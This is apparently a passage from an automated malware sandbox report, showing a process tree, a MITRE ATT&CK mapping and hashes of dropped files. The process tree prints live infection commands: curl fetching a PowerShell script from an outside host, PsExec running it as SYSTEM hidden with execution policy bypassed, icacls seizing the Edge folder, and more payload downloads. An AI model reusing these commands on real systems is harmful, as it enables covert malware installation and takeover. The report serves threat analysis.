      PID:3260
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://nyx8.net/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:3496
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3636

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\zt1bvmi0\zt1bvmi0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES878A.tmp" "c:\Windows\Temp\zt1bvmi0\CSCCC9AEE4A4DD14D77B49C84FF4B9D9A45.TMP"
      4⤵
      PID:4952
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    - Modifies data under HKEY_USERS
    PID:1896
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:4160
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3240
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1448
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4028
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:916
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3780
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:1756
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:1960
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:2548
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:820
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:4152
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:976
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:220
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:2484
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:1656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2372

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2256

C:\Windows\system32\wscript.exe
wscript.exe "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5adgsbr3.dll

Path C:\Users\Admin\AppData\Local\Temp\5adgsbr3\5adgsbr3.dll
Size 3KB
SHA256 d317b9a3f88f83be8b6e355b715fa619032e612ef0eb7029dcab4392e697372e
MD5 f1e6f216ac6badb335fd2ea9bbbd4962
SHA1 7058ec9e5bcca26e56f499907ec8ab2396e38e04
SHA512 32e9e5f5269bd2684f9278f39c0f23ac940b24edc5d0c104d014e499c0779252dbb0f6367ccc45951f16a07dd2807b7567de562f6dcee62b9cfdf19ffb61f0ba
TLSH
T12951CB1A93EC062BE8B747356EE303563BA8F8609F73976D59804269AC61B145D31FB0
MD5 SHA1 SHA512 TLSH

Submit Download

5dwv4eu2.dll

Path C:\Users\Admin\AppData\Local\Temp\5dwv4eu2\5dwv4eu2.dll
Size 3KB
SHA256 3cd076696e061ff4e6ea2d25c7fecab9d89a1c4a0a913a809f00b71964789f69
MD5 df795238dafd5ce0b50b7b163c7992ed
SHA1 cfac92029c820aadc9682835b30d0f9b2da2c2bb
SHA512 c971a698854bffe2512b771ab3631ca3f5ff604a01f4e2a4fb7231644571cdbf8a1d2b5648ac85e029e259ba5155dc8a6aeb00ff4634e26e4919112386d7d33e
TLSH
T15D710D1A57E84A6BE4BB0734AEF3472367B4F8508FB3576E0D8002196CA02645A72BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES501F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES501F.tmp
Size 1KB
SHA256 b193b54ed3946ffc463bbe704a7ad50d4cf5b92ffdb1f6850d84796f85ebaded
MD5 003dc72cde7e80d185d41654f406a338
SHA1 da192ebdbde3da44222d5f904335cb7d99abdf12
SHA512 d35412fd3de7b65d4220bffbb95a104957a492ed48b66e9f6e39c175815a5433db1f5289d57726568af57b0222e27f72667c0521d652788564d29a71beed0d0d
TLSH
T1EF218C0543E8471FF0775731ADF5172BA275FD94EF62675B854192282C41208EEE1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES5138.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5138.tmp
Size 1KB
SHA256 145bca6f246be9f2635e56e433fcfb25895954dcc82c1aedd110b9992493105f
MD5 d0c2240287ad660e1b7afc84e390cabf
SHA1 0bbb0c3288ae1a8b79145dfe41922dbea03c5a63
SHA512 0904d943869585d55e2dba9484910c95ec16d62ffd5e9d1b6114a6d213efe2ab1f2f7ca9b328095dd156ab9bd5231c87e652a29c6c54202e69f11698066df90f
TLSH
T14021AB0583E9471EF0771B326DF6172BA275FE54EFB29B6A844052281C51608EEB1A72
MD5 SHA1 SHA512 TLSH

Submit Download

RES51B5.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES51B5.tmp
Size 1KB
SHA256 3b13483c80449db9ad94650be5dbe28245a718a987c0eca7b602f264ebb37536
MD5 2d01a49ba991f739c79ccd697f484b57
SHA1 5701e2485afc63ff23fe02ec093efa46a8439f7b
SHA512 905135232ef2da24b5dce31995c7ab557853d3798a1e581383be28f72df4d2451d3b8d0c72360172f0b9e900547d4dd54f66fd82aa50cd5efc2860000656ad81
TLSH
T16221CC0583E9470EF077573269F6172BA269FD94EFB1A75E854042282C51104EFA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES7C5F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7C5F.tmp
Size 1KB
SHA256 ec2160c57c1958e2d5628582c0f4f33e503af82744b115254203b8531c6a3c26
MD5 10d5d457946930448ee98dc8d60f1e6b
SHA1 7855673f74b2ecd00f9c9650396456c97d2787c7
SHA512 c754399aa14e25d3bbd9552dd6c006451f1a0e3be46ea013b193e4f10d5d34f9180e994528bb1fc63654181eb798d19e4f8b591f893359ed67831ce2bd27e5d9
TLSH
T1E021AB0583ED4B1BF0779B31BDF6171BA664FD54EFB2535B814042282C50514DEA1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ouvmfofz.zjc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ouvmfofz.zjc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 19B
SHA256 d90c4bd3352c37402f36a4db0bc82c7a3c194660a1c29956ca2e7f3c3f842eda
MD5 ef1af41a40b8405463afabcfe316be21
SHA1 7f2f66eef7105730a49124f2664f734e522b8ecd
SHA512 8b6612cd0a7a1c7f73e4c69ecb72b9259bf8d7853d5a864b8f85ca703d59fa18905ba336e0c893b6844ba2ef1172634c4e7715113cfb4138186121feae141827
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
MD5 079591b177f57dd00fd4efaa6868b2a2
SHA1 7d7b7a4d70e3c99653d3dcd04fd521bf422c8904
SHA512 28d81b7fb42b767d51514f4418ba6dae615a440288e8e15f9b9ec6b912c9b5c3452e6f68848774d79bea63b9ed1cd1dd7a83b229e7fdb419d18d205af21c79b1
SSDEEP 384:d1tTknM+8o9Fe/G9h2Xf3d4oog6Xc0JfWKZQ232i6PCPqTPrPfJP73PQDPjP+:d34M+8Aeu9h6P6fhWXu6qejJbs72
TLSH
T141929E57BE418EB8C78D221860DC88DA07AC47FE40117989636AB944FB82CDFE5FB035
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lwbmclrf.dll

Path C:\Users\Admin\AppData\Local\Temp\lwbmclrf\lwbmclrf.dll
Size 3KB
SHA256 3ef5a22a64d18dc35056a610a30023b43b77781b9e312220b83cfe88c2bec830
MD5 6e8318640514ad3133dd66bd454e1046
SHA1 6f642036c55a7e2781556ecd94e618a03a7377b8
SHA512 3c76ae5d50ef3f9a3fae0d3d04f9854cd85aebfeaf71fa6a7c06dd029d22f00ec8c3887559ec87d9633336c215a5f5382b28858a5f96de73f57f3d2fb7ab6490
TLSH
T14A71FF1A57E80A2BE4FB0734AEF34B5267B4F8509F73975F0D8003596CA02649E72BB1
MD5 SHA1 SHA512 TLSH

Submit Download

yffnrbex.dll

Path C:\Users\Admin\AppData\Local\Temp\yffnrbex\yffnrbex.dll
Size 3KB
SHA256 04c468fb97ce6854e58053bf29db91fd53c4d5a90316ede83694f7327ad1d846
MD5 63994a1288be176071264761968bc24d
SHA1 189e884b036575b91ee78e50e889301bb5126d65
SHA512 182e876faf565fa7181e7accf31d8238b2480e260719e4f35598da09b058634a2d2bc4616e3a50bf57d7961cf727ed7ee826b628ed2692806fec0a9c086edbdf
TLSH
T13B51791AA7E8466BF4B74B346EF3431737B4FC509B73972E498042296C612645932FB0
MD5 SHA1 SHA512 TLSH

Submit Download

teenreversecowgirlboyf.mp4.lnk

Path C:\Users\Admin\AppData\Local\Temp\PACK8\teenreversecowgirlboyf.mp4.lnk
Size 1KB
SHA256 1f8106dd5f6d3d76c243dd506bf1dce3dcf57154f5b2d6de89377b892e47980e
MD5 22e051380c978a9f14a467e4222353d2
SHA1 6f79edb3fd60f479821e5ba58e0ce07bc4b379e0
SHA512 ea4e4e0e18e6e05d8e5622e9848c690964c745a2f5cb7d5ce024526df8dab5dd218bc42557db136da7e492034093bacbc2e2eb197dc0a17be551685655e6ba5b
TLSH
T17421710426E81F15D3F35A7B88BA532286367945FF728F2D41D092CC1C59100EC19F3E
MD5 SHA1 SHA512 TLSH

Submit Download

PSEXEC-RPHJNYLJ-9083590A.key

Path C:\Windows\PSEXEC-RPHJNYLJ-9083590A.key
Size 16B
SHA256 ca52879dcda9032a553a76b0e45b200f17ec7e681d4c577543454c191e5dcb7c
MD5 4ed23fadc6a3102af65f6cdc1607e93b
SHA1 317606e724b4111241bcd6cef527b85361460669
SHA512 62440a4bfae2fc6ce0a1bfdd8cb8b64e50c0c51553d44dfc0f4f0336ef27eebbf233dc5a7409ad49a2f501b4d87012796a7f0980d674c77baf262c73fc4c58eb
MD5 SHA1 SHA512

Submit Download

PSEXESVC.exe

Path C:\Windows\PSEXESVC.exe
Size 189KB
SHA256 cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
MD5 44118d8fb41634b3d8d8b1c6fdf9c421
SHA1 2c27a865b3ab1f0bd2ea1e8f7298b5ef9348c5ac
SHA512 ab62931669555dc1daf63f73f4d57a6d9bfc94dc087d859f7719648bad48d1626f9760f1b8cd7f76340943d8d69df1734bb657ca2b83855686792182809b07b4
SSDEEP 3072:iR+zpegrEiHunfFqNmIWhn01GGXqw7Wnh5rebFHh9aohhx0dUFyMLooZ3/3yqp/5:o+zpegrEiHuf+mZhn01N7Wnh5rebL9/9
TLSH
T1A2143921B2D08072E5F72A7019F4A6729A3EBD705F34D99F6794066E5E30BC1CA34B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES878A.tmp

Path C:\Windows\TEMP\RES878A.tmp
Size 1KB
SHA256 0f4558ba100c01967fff8e51e3b33bf38d2de7f393006f4ce890c577e2f1dd79
MD5 c031e910513a961c32d99e6f2df6f805
SHA1 908a4ff5105005f7b774b24ff9b90a5867e1c1d6
SHA512 d0371273583a4a5ba3133b11ec19ae6ddf685f8424f3a4ad4f11379e466582dd691a466abc14be01103c6b42eead5f0944e3d26b036838c476308c8336850f2c
TLSH
T160219B0553F8071BF0B31B3068EA13675228FD90EFA293AB844402293C51500CFB0EB1
MD5 SHA1 SHA512 TLSH

Submit Download

zt1bvmi0.dll

Path C:\Windows\TEMP\zt1bvmi0\zt1bvmi0.dll
Size 3KB
SHA256 115e86141fe0470260e4589f9b7ae307fdca5312f00aaa8a666d0c277c902b3b
MD5 f99195864b20e6a5d84a9b5250aa3f41
SHA1 1d03d5c0810a133541ecab74ac90fe5abff547f5
SHA512 6b724a3a0c09660a2594d0667f1e74bb5c61b029cea61e353d4bf31faed0941ed5290e029ea4ba3876b49779c5532971ad09452784891327d86873d3b2d01a93
TLSH
T15B71FF1A53E8462BE8FB0734AEF3475327B0F8609F73876E1D8402596CA12245E72BB1
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 422a1847a0f647fc75e67388275a01dfbef80f72b6d20a8c41f3aaa7e37167b0
MD5 e37155ea598385abce7704b848c49005
SHA1 a5fe6779d1669971f3d6b71101c2f8778d0b6127
SHA512 dd00e5509ce3080b1bf790736a34768706398cb91bb42b1442d99adb28ded4b248af87349883d31d9aa85fdd5d348a217ef88747c1c1045a7c80cb25340a9a1a
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq6fm0RIzoZcBPtiNLhDAyRLcxZpow:iqdYqGAjdx4qKkq3qktznEuZq6XIzoZC
TLSH
T181B110313371F4D5CC663B021A2C19D0A3AF4387EA58AF48B25C621EED2655BDB112F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd
MD5 ac3bf9756600f6c31a15240716e6e7c6
SHA1 521aa76b55f74cafd1b579933dc0fae439acb0f5
SHA512 96ae0dddaeadae05fed313707076af5d443d328d2ea8524aa283812591b615b596a0aab1d2918471aba59f5546cebca7521bd2003db63a24f548899bee5fa67a
TLSH
T1BA21A837B3DCC921CC86163A009D9C1072B683C7819EDF9F6FC0D604A07F988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

5adgsbr3.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5adgsbr3\5adgsbr3.0.cs
Size 184B
SHA256 6646b73b09f82115cdd2afdbf5c716a21bf2bc517f70146d925ea49ebf41fbe4
MD5 6f606ef87e6fa4491f50e49e70e118d6
SHA1 29bd5484896934c706972893fa479efb735277db
SHA512 6f7035a77a772b5d4ebc09adea2f28217487c59deb77f7d1ad1f1eaefc3b352a72630ec1cbc9e58122ed042fd3533cb5c08cf88aa51d14c40f15bdf6352adfad
TLSH
T1ECC0121827F3BF348003483B4A0AD4E97F23510726AA5E11BAFC0211CF8B0045121D2A
MD5 SHA1 SHA512 TLSH

Submit Download

5adgsbr3.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5adgsbr3\5adgsbr3.cmdline
Size 369B
SHA256 87af59d869bf9c2452a0db54003e83786a9bac8625080d9c1103c661a0e46150
MD5 72b47b77fa4bd58ef8da56ef130b8e9c
SHA1 9a9c379ecaa9ade91815974f3d3f277254eca71a
SHA512 8a767176ad9be649314a912fe992da5259165ca5fdc9edd305f188ea98864c3357b85b4b72a8af80deb0eec32788ce63fabc16db5bb7e3f78bcff04403c527b3
TLSH
T170E0262AD256C77E19EF100B227AD6ECC37A07972DE1BF84E170845DE02B0066FD2B95
MD5 SHA1 SHA512 TLSH

Submit Download

CSC50F74727A93469A9B60A8441CF2BE1B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5adgsbr3\CSC50F74727A93469A9B60A8441CF2BE1B.TMP
Size 652B
SHA256 6da8d99deb6a33daafe6d30082a3d503a1592e6a3c25ebba8f528abe387f3a4b
MD5 2c0f2c1a8de245e937c3b402a59b0d11
SHA1 2b3295bfb1ce8be0bce0ede5b223f80e8277d68e
SHA512 39dc2ceeae078b2255b2559cb7bb8e22f76ea51f152e963027ce9d5f8a3ddba70e7180c18b58ed03d113316c8e014bb25ee18de1c95d8556ef1d4c2f94eb8327
TLSH
T1D6F03A09A3F8020EF4F35B30BAF683A391A8FD65DE3297ED144003592C74A14C962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

5dwv4eu2.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5dwv4eu2\5dwv4eu2.0.cs
Size 376B
SHA256 55903f625d225a5e452a7ddd9052498550908c911735fe85e231bfff1cbbab8d
MD5 d2cfdf873cbe9f705406f31e183a9072
SHA1 47ba8d465312648b90c0df4cfce606a6290e7311
SHA512 3a9f8429d220a72a03a2ec17b36f4c7cf9a3052102ff90df18c0323fefb9614ebcb4c9c8a407399358e8a1c9470bcee34f12499d1ff88b68334ce16cce6ed2ed
TLSH
T10BE0921826A1E72124978C1E8ADED0BDF623D07617FB2E10AAFC0311DE830494236A16
MD5 SHA1 SHA512 TLSH

Submit Download

5dwv4eu2.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5dwv4eu2\5dwv4eu2.cmdline
Size 369B
SHA256 d975afff94bce7445664a358053a5a9096cd003f7294d1d99202f56700163093
MD5 331f4e5adf42113d1f7ca89c9f91eee3
